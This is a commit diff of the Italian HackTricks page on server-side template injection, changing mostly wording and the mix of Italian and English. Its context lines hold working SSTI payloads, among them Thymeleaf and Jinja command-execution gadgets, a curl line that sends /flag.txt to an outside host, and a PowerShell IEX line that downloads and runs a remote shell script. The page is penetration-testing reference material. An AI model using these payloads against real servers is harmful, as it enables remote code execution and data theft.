mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
443f40b3f5
commit
1fe0891cb5
1 changed files with 25 additions and 25 deletions
|
@ -1,27 +1,27 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
||||
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Cos'è SSTI (Server-Side Template Injection)
|
||||
## What is SSTI (Server-Side Template Injection)
|
||||
|
||||
L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
|
||||
|
||||
|
@ -37,11 +37,11 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
```
|
||||
Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
|
||||
|
||||
Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
|
||||
Per prevenire vulnerabilità da server-side template injection, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
|
||||
|
||||
### Rilevamento
|
||||
|
||||
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
|
||||
Per rilevare Server-Side Template Injection (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:
|
||||
|
||||
* Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
|
||||
* Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
|
||||
|
@ -50,7 +50,7 @@ Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing
|
|||
|
||||
#### Fase di identificazione
|
||||
|
||||
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
|
||||
Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
|
||||
|
||||
## Strumenti
|
||||
|
||||
|
@ -75,7 +75,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
```
|
||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
|
||||
una tabella interattiva contenente i polyglot di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
|
||||
|
||||
## Exploits
|
||||
|
||||
|
@ -168,7 +168,7 @@ $out.read()
|
|||
|
||||
### Thymeleaf
|
||||
|
||||
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:
|
||||
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per l'esecuzione remota di codice potenziale, possono essere utilizzate espressioni come le seguenti:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
|
@ -181,17 +181,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni di template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`.
|
||||
Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni del template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`.
|
||||
|
||||
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio `TemplateResolver` per creare template da stringhe al volo, il che è raro.
|
||||
|
||||
Thymeleaf offre anche _preprocessing delle espressioni_, dove le espressioni all'interno di doppi underscore (`__...__`) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione delle espressioni, come dimostrato nella documentazione di Thymeleaf:
|
||||
Thymeleaf offre anche _preprocessing delle espressioni_, dove le espressioni all'interno di doppi underscore (`__...__`) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Esempio di Vulnerabilità in Thymeleaf**
|
||||
|
||||
Considera il seguente frammento di codice, che potrebbe essere suscettibile di sfruttamento:
|
||||
Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
|
@ -667,7 +667,7 @@ URLencoded:
|
|||
|
||||
* \= 49
|
||||
|
||||
**Lato Client**
|
||||
**Lato client**
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
|
@ -741,7 +741,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Controlla la seguente pagina per apprendere trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python:
|
||||
Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -827,7 +827,7 @@ Controlla la seguente pagina per apprendere trucchi su **bypassare l'esecuzione
|
|||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||
```
|
||||
**Ulteriori dettagli su come abusare di Jinja**:
|
||||
**Maggiori dettagli su come abusare di Jinja**:
|
||||
|
||||
{% content-ref url="jinja2-ssti.md" %}
|
||||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
|
@ -876,13 +876,13 @@ Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avv
|
|||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**Ulteriori Informazioni**
|
||||
**Ulteriori informazioni**
|
||||
|
||||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Anche se è Perl, utilizza tag come ERB in Ruby.
|
||||
Anche se è Perl, utilizza tag simili a ERB in Ruby.
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Errore`
|
||||
|
@ -900,7 +900,7 @@ Nel motore di template di Go, la conferma del suo utilizzo può essere effettuat
|
|||
|
||||
**XSS Exploitation**
|
||||
|
||||
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{"<script>alert(1)</script>"}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
|
@ -917,7 +917,7 @@ return string(out)
|
|||
```
|
||||
**Ulteriori informazioni**
|
||||
|
||||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||||
* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### Altri Exploit
|
||||
|
@ -959,8 +959,8 @@ Se pensi possa essere utile, leggi:
|
|||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue